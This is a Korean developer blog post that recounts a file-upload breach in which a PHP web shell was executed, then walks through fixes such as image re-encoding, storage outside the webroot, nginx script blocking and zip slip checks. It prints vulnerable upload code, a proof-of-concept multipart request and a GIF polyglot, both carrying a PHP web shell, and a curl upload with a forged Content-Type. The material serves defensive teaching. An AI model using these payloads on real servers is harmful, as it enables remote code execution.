목차
- 첫 시도가 무력화된 경위
- Content-Type을 신뢰한 대가
- 실전 방어: 재인코딩과 격리된 저장 경로
- Node.js 쪽 구현은 어떻게 달라지나
- 운영 환경에서 놓치기 쉬운 것들
- 클라우드 스토리지로 직접 올릴 때
- 짧게 덧붙이는 클라이언트 검증
- 사고 이후 매번 확인하는 체크 항목
[2026-03-12 02:47:13] WARN nginx[2891]: client requested "/uploads/avatar_8f3a.php"
[2026-03-12 02:47:13] WARN nginx[2891]: client requested "/uploads/avatar_8f3a.php?cmd=id"
[2026-03-12 02:47:14] ERROR php-fpm[3104]: executed /var/www/html/uploads/avatar_8f3a.php
[2026-03-12 02:47:14] ERROR audit: process "sh" spawned by uid=33 (www-data)
이 로그가 의미하는 건 단순하다. 파일 업로드 보안 취약점이 뚫려서, 프로필 이미지 자리에 들어온 파일이 PHP로 해석되어 실행됐다. 웹쉘이 떨어졌고 셸이 떠올랐다는 신호다. 확장자와 Content-Type 검증을 양쪽 다 걸어둔 상태였다. 막혔다고 믿고 있었던 만큼 충격이 컸다. 새벽 두 시 반에 알람을 받고 노트북을 켰을 때부터 다음 날 오전까지의 흐름을, 시행착오와 함께 정리한다.
첫 시도가 무력화된 경위
그러나, 당시 코드는 이렇게 생겼다. 누가 봐도 평범해 보이는 형태다.
ALLOWED_EXT = {".jpg", ".jpeg", ".png", ".webp"}
@app.post("/upload")
async def upload(file: UploadFile = File(...)):
ext = Path(file.filename).suffix.lower()
if ext not in ALLOWED_EXT:
raise HTTPException(400, "허용되지 않은 확장자")
if file.content_type not in {"image/jpeg", "image/png", "image/webp"}:
raise HTTPException(400, "허용되지 않은 타입")
dest = Path("/var/www/html/uploads") / file.filename
with dest.open("wb") as f:
f.write(await file.read())
언뜻 보면 멀쩡해 보인다. 점검 보고서를 보고 나서야 이 코드에 빈틈 세 개가 동시에 노출됐다는 걸 알았다.
첫째, file.filename을 그대로 디스크에 쓰고 있다. 공격자가 shell.php%00.jpg 같은 null byte 인젝션이나 shell.jpg.php 같은 이중 확장자로 우회할 여지가 있다. 둘째, file.content_type은 클라이언트가 보낸 헤더를 그대로 받아온다. Burp Suite로 30초만 만지면 image/jpeg로 위조된다. 셋째, 저장 경로가 nginx 웹루트 안이다. 즉 업로드와 동시에 외부에서 접근 가능한 URL이 자동으로 생긴다.
세 가지가 합쳐지면 결과는 빤하다. shell.jpg.php를 만들고 헤더만 image/jpeg로 위조해서 보내면 /var/www/html/uploads/에 그대로 떨어진다. nginx 설정에 따라 PHP-FPM으로 넘어가고, 셸이 실행된다.
Burp Suite로 재현해본 흐름
공격을 직접 따라 해봤다. PoC 페이로드 자체는 간단했다.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="file"; filename="shell.jpg.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------X--
특히, 확장자 검증을 Path(...).suffix로만 하면 마지막 점 뒤만 본다. 즉 shell.jpg.php는 .php로 잡힌다. 그런데 공격자가 shell.php.jpg로 보내면? 확장자 검사는 통과한다. nginx 설정이 살짝 어긋나 있으면 그래도 PHP로 해석된다. location ~ \.php$ 패턴과 try_files의 조합이 어떻게 매칭되는지 한참 들여다보고서야 이해했다. 진짜 문제는 코드가 아니라 코드와 nginx 설정 사이의 빈 공간이었다.
Content-Type을 신뢰한 대가
확장자 검증을 강화한 다음 단계는 MIME 타입 검증이었다. 처음엔 file.content_type 한 줄이면 충분하다고 생각했다. 잘못된 가정이었다.
multipart/form-data에서 클라이언트가 보내는 Content-Type은 그냥 헤더 값이다. 서버가 파일을 열어 확인한 결과가 아니라, 클라이언트 측 브라우저나 라이브러리가 짐작한 값을 전달한 것뿐이다. curl 한 줄이면 마음대로 바꾼다.
curl -F "file=@shell.php;type=image/jpeg" https://example.com/upload
게다가, 이런 식이라 클라이언트 헤더로는 아무것도 막을 수 없다. 서버에서 직접 파일 바이트를 열어보고 판단해야 한다. 그래서 떠올린 게 magic bytes 검증이었다.
import magic
head = await file.read(2048)
mime = magic.from_buffer(head, mime=True)
if mime not in {"image/jpeg", "image/png", "image/webp"}:
raise HTTPException(400, "실제 MIME 타입 불일치")
python-magic은 libmagic 바인딩이다. 파일 헤더의 시그니처를 보고 실제 타입을 추정한다. JPEG는 FF D8 FF, PNG는 89 50 4E 47, WebP는 RIFF....WEBP 같은 식이다. 이 정도면 충분할 줄 알았다. 펜테스트 보고서가 한 번 더 무너뜨리기 전까지는 그랬다.
Polyglot 파일이라는 변종
실제로, 펜테스트 측에서 보낸 파일은 흥미로웠다. 헤더는 정상적인 GIF89a 시그니처로 시작하는데, 그 뒤에 PHP 코드가 들어가 있었다.
GIF89a;
<?php system($_GET['cmd']); ?>
그래서, libmagic은 첫 몇 바이트만 보고 image/gif로 판정한다. PHP 인터프리터는 파일 전체에서 <?php 태그를 찾아 실행한다. 두 도구의 관점이 다르기 때문에 양쪽을 동시에 속이는 polyglot이 가능하다. 이런 파일을 GIF로 분류해서 통과시킨 다음, 웹서버가 PHP로 실행하는 경로를 열어두면 끝이다.
물론, 이 시점에 깨달았다. 검증을 한 층 더 쌓는 방식으로는 끝없는 술래잡기가 된다. 검증 라이브러리가 못 보는 영역은 계속 늘어난다. 발상을 바꿔야 했다.
실전 방어: 재인코딩과 격리된 저장 경로
보안 컨설턴트가 한 말이 기억에 남는다. "검증으로 막으려 하지 말고, 위험할 수 있는 콘텐츠를 무력화시켜라." 즉 들어온 이미지를 그대로 저장하지 말고, 한 번 디코딩하고 다시 인코딩한 새 파일로 바꾸라는 얘기다.
from PIL import Image
import io, uuid, os
raw = await file.read()
try:
Image.open(io.BytesIO(raw)).verify() # 1차 검증
except Exception:
raise HTTPException(400, "이미지로 인식되지 않음")
# verify 호출 후엔 이미지를 다시 열어야 한다
img = Image.open(io.BytesIO(raw))
buf = io.BytesIO()
img.convert("RGB").save(buf, format="JPEG", quality=85, optimize=True)
clean = buf.getvalue()
Pillow로 다시 인코딩하면 polyglot 안에 들어있던 PHP 페이로드는 사라진다. 픽셀 데이터만 살아남고 나머지 잡다한 청크는 새 컨테이너에 다시 패킹된다. EXIF에 숨겨둔 페이로드도 같이 날아간다. 들어오는 모든 이미지를 한 번 정제한다는 발상 자체가 깔끔하다.
실제로, 저장 경로 역시 다시 설계했다. 핵심 원칙은 세 가지다.
- 웹루트 밖에 저장한다. nginx가 직접 서빙할 수 없는 위치로.
- 파일명은 UUID로 새로 만든다. 원본 이름은 DB에 메타데이터로만 보관.
- 다운로드는 별도 엔드포인트를 통해서만 한다.
Content-Disposition: attachment강제.
upload_dir = Path("/srv/storage/uploads") # 웹루트 외부
new_name = f"{uuid.uuid4().hex}.jpg"
dest = upload_dir / new_name
with dest.open("wb") as f:
f.write(clean)
os.chmod(dest, 0o644)
이 구조에선 공격자가 어떤 파일명을 보내도, 어떤 헤더를 위조해도, 디스크에 떨어지는 건 Pillow가 새로 만든 JPEG뿐이다. 실행될 여지가 없다.
다운로드 엔드포인트도 따로 만든다
@app.get("/files/{file_id}")
async def download(file_id: str):
meta = db.get_file_meta(file_id)
if not meta:
raise HTTPException(404)
return FileResponse(
Path("/srv/storage/uploads") / meta["stored_name"],
media_type=meta["mime"],
headers={
"Content-Disposition": f'attachment; filename="{meta["original_name"]}"',
"X-Content-Type-Options": "nosniff",
},
)
X-Content-Type-Options: nosniff는 브라우저가 자체 MIME 추론을 끄게 한다. 응답 헤더가 image/jpeg인데 본문이 HTML/JS처럼 보여도 실행하지 않는다. 미리보기가 필요한 경우엔 Content-Disposition: inline으로 바꾸되, 별도 서브도메인에서 서빙하는 게 안전하다. 같은 오리진에서 이미지를 노출하면 XSS로 이어지는 통로가 다시 생긴다.
Node.js 쪽 구현은 어떻게 달라지나
Express + multer 조합도 사실상 같은 흐름이다. 차이는 라이브러리 이름 정도. 핵심은 multer.diskStorage로 자동 저장하지 않는 것이다. 메모리 스토리지로 받아서, 검증하고, 재인코딩한 결과만 디스크에 떨어뜨려야 한다.
import multer from "multer";
import { fileTypeFromBuffer } from "file-type";
import sharp from "sharp";
import { randomUUID } from "crypto";
import path from "node:path";
import fs from "node:fs/promises";
const upload = multer({
storage: multer.memoryStorage(),
limits: { fileSize: 5 * 1024 * 1024 }, // 5MB
});
const ALLOWED = new Set(["jpg", "jpeg", "png", "webp"]);
const STORAGE_DIR = "/srv/storage/uploads";
app.post("/upload", upload.single("file"), async (req, res) => {
if (!req.file) return res.status(400).send("파일 없음");
// 1. 실제 시그니처 검증
const type = await fileTypeFromBuffer(req.file.buffer);
if (!type || !ALLOWED.has(type.ext)) {
return res.status(400).send("허용되지 않은 파일");
}
// 2. sharp로 재인코딩 (polyglot 차단 + EXIF 제거)
let clean;
try {
clean = await sharp(req.file.buffer)
.rotate() // EXIF orientation 적용 후 제거
.jpeg({ quality: 85 })
.toBuffer();
} catch {
return res.status(400).send("이미지 디코딩 실패");
}
// 3. UUID 파일명으로 웹루트 외부에 저장
const filename = `${randomUUID()}.jpg`;
await fs.writeFile(path.join(STORAGE_DIR, filename), clean, { mode: 0o644 });
res.json({ id: filename });
});
file-type은 magic bytes 기반 판정 라이브러리고, sharp는 libvips 바인딩이라 Pillow보다 빠르다. 1MB 정도 이미지 기준으로 체감상 두세 배 차이는 났다. 정확히 벤치마크한 건 아니고 운영 중인 서비스에서 평균 응답 시간 그래프를 보고 받은 인상이다.
multer 설정에서 자주 빠뜨리는 옵션
multer 기본 설정은 파일 개수와 필드 개수에 제한이 없다. 이대로 두면 DoS 통로가 된다. 한 요청에 수만 개 필드를 넣어 메모리를 폭발시키는 식이다. 실제 점검에서 지적받은 항목이라 따로 정리해둔다.
| 옵션 | 권장값 | 이유 |
|---|---|---|
fileSize |
5~20MB | 메모리·디스크 보호 |
files |
1~5 | 동시 업로드 수 제한 |
fields |
20 이하 | DoS 방지 |
parts |
30 이하 | multipart 폭탄 방지 |
이 네 가지만 명시해도 흔한 자동화 공격의 절반 이상은 막힌다.
운영 환경에서 놓치기 쉬운 것들
검증과 재인코딩이 끝나도 지뢰는 남아 있다. 한 번씩 발에 걸려 넘어진 항목만 추렸다.
예를 들어, 첫 번째, 임시 디렉터리 권한. multer든 FastAPI든 업로드 중간에 임시 파일을 만든다. 이 디렉터리가 다른 프로세스에서 읽을 수 있는 권한이면, race condition으로 다른 사용자의 업로드 내용을 훔쳐볼 수 있다. /tmp 대신 0700 권한의 전용 디렉터리를 쓰는 게 안전하다. Linux라면 systemd 서비스 유닛에 PrivateTmp=yes를 켜두는 것도 한 줄 보강이 된다.
두 번째, 안티바이러스 스캔. 이미지뿐 아니라 PDF, ZIP, 오피스 문서를 받는 서비스라면 ClamAV를 거치는 게 표준이다. clamdscan은 stdin으로 받을 수 있어서 디스크에 저장하기 전에 스캔할 수 있다.
# clean exit code: 0, infected: 1
echo -n "$FILE_BYTES" | clamdscan --stream -
그래서, 운영 중에 보면 거의 잡히지 않다가도, 한두 달에 한 번씩 알려진 악성 시그니처가 진짜로 검출되는 경우가 있다. 자동화된 봇이 무차별 시도하다 걸린 케이스가 대부분이다.
세 번째, Zip Slip이라 부르는 패턴. 사용자가 압축 파일을 올리고 서버가 해제하는 구조라면 항상 위험하다. 압축 내부에 ../../etc/passwd 같은 경로를 넣어두면 해제 시 임의 경로에 파일이 떨어진다. 모든 엔트리 경로를 정규화해서 대상 디렉터리 밖으로 나가는지 확인해야 한다.
import zipfile, os
def safe_extract(zf: zipfile.ZipFile, dest: str):
dest = os.path.realpath(dest)
for info in zf.infolist():
target = os.path.realpath(os.path.join(dest, info.filename))
if not target.startswith(dest + os.sep):
raise ValueError(f"zip slip 감지: {info.filename}")
zf.extractall(dest)
예를 들어, Python 3.12부터 zipfile이 일부 보호 로직을 추가했다(공식 문서, 2023-10 릴리스 기준). 그래도 라이브러리 동작에만 의존하지 말고 직접 검증을 한 겹 더 두는 쪽이 맞다고 본다.
웹서버 설정도 같이 손봐야 한다
결국, 업로드 디렉터리가 웹루트 외부라면 이상적이지만, 운영 사정상 안에 둬야 하는 경우도 있다. 그럴 땐 nginx에서 해당 경로의 스크립트 실행을 명시적으로 차단해야 한다.
location /uploads/ {
location ~ \.(php|phtml|pht|phar|cgi|pl|py|rb|sh|jsp)$ {
deny all;
return 403;
}
add_header X-Content-Type-Options nosniff always;
add_header Content-Security-Policy "default-src 'none'" always;
}
location 중첩으로 우선순위를 명시하지 않으면 외부의 location ~ \.php$가 먼저 매칭될 수 있다. 처음 이 설정을 적용했을 때 PHP가 여전히 실행됐다. 한참 헤매다가 우선순위 문제임을 알아냈다. 디렉터리 단위로 한 번 더 감싸야 한다.
클라우드 스토리지로 직접 올릴 때
이처럼, 요즘은 서버를 거치지 않고 브라우저에서 S3로 직접 PUT 하는 구조가 흔하다. 비용도 줄고 서버 부하도 줄어든다. 대신 검증 시점이 달라진다.
또한, 서버는 presigned URL을 발급할 때 Content-Type, Content-Length, 키 prefix 같은 조건을 못 박을 수 있다. boto3 기준으로는 이렇게 된다.
url = s3.generate_presigned_post(
Bucket="my-uploads",
Key=f"raw/{uuid.uuid4().hex}",
Conditions=[
["content-length-range", 0, 5 * 1024 * 1024],
["starts-with", "$Content-Type", "image/"],
],
ExpiresIn=300,
)
Content-Type은 여전히 클라이언트가 보내는 값이라 신뢰할 수 없다. 그래서 S3 raw/ prefix는 외부 접근을 막아두고, 이벤트로 Lambda를 트리거해서 재인코딩과 재업로드를 거친 결과만 public/ prefix로 옮긴다. 검증은 서버에서, 저장은 직접 업로드, 노출은 정제 후라는 분리가 핵심이다.
짧게 덧붙이는 클라이언트 검증
실제로, 이건 간단하다. 클라이언트 측 검증은 UX용이지 보안용이 아니다. JS에서 파일 크기와 확장자를 보여주는 건 좋다. 그게 보안의 일부라고 생각하면 안 된다. 서버는 클라이언트 검증이 없다고 가정하고 모든 걸 다시 검증해야 한다.
사고 이후 매번 확인하는 체크 항목
그러나, 펜테스트 보고서를 받은 뒤로는 새 업로드 기능을 만들 때마다 빠뜨리지 않는 확인 항목들이 있다.
- 업로드 파일은 메모리로 받은 뒤 재인코딩해서 저장하는가
- 저장 경로가 웹루트 외부인가, 아니면 nginx에서 실행 차단을 걸었는가
- 파일명은 UUID로 새로 만들고 원본 이름은 메타데이터로만 보관하는가
- 다운로드 엔드포인트가
Content-Disposition을 명시하는가 X-Content-Type-Options: nosniff응답 헤더가 붙어 있는가- ZIP 같은 압축 파일을 받는다면 zip slip 검증이 들어가 있는가
- 안티바이러스 스캔이 디스크 저장 전에 실행되는가
이 일곱 가지가 다 통과하면 흔한 공격 시나리오 대부분은 막힌다. 그래도 안심은 금물이다. 매년 새로운 우회 패턴이 나온다. 작년에는 SVG 안의 <script>로 XSS를 일으키는 변종이 다시 보고됐다. SVG를 허용하는 서비스라면 DOMPurify 같은 sanitizer를 추가로 거쳐야 한다.
지금 운영 중인 서비스에 위 일곱 항목 중 빠진 게 있다면, 오늘 안에 점검 티켓 하나 만들어두는 걸 권한다. 공격은 보통 가장 약한 고리부터 들어온다. 개인적으로는 검증 라이브러리 열 개를 쌓는 것보다 재인코딩 한 줄이 효과가 컸다고 본다.
관련 글
- TOTP 2단계 인증 구현 완전 가이드: Python·Node.js 백업 코드와 복구 플로우 – TOTP 2단계 인증 구현은 함수 두 줄로 끝나지 않는다. 서버 NTP 시간이 어긋나면 사용자가 락아웃되고, 백업 코드가 없으면 폰을 잃어…
- bcrypt argon2 비교 회고: 3개월 운영하고 알게 된 것들 – bcrypt argon2 비교를 신규 인증 모듈에 적용하면서 겪은 OOM과 파라미터 튜닝, 그리고 결국 어떤 조합으로 안정화됐는지 시간순으…
- CORS 오류 해결 완벽 가이드: Nginx·FastAPI·Express 환경별 안전 설정 – 프론트에서만 보던 CORS 오류를 백엔드에서 직접 다뤄보니 완전히 다른 풍경이 보였다. 세 가지 환경에서 안전하게 푸는 기준을 정리한다.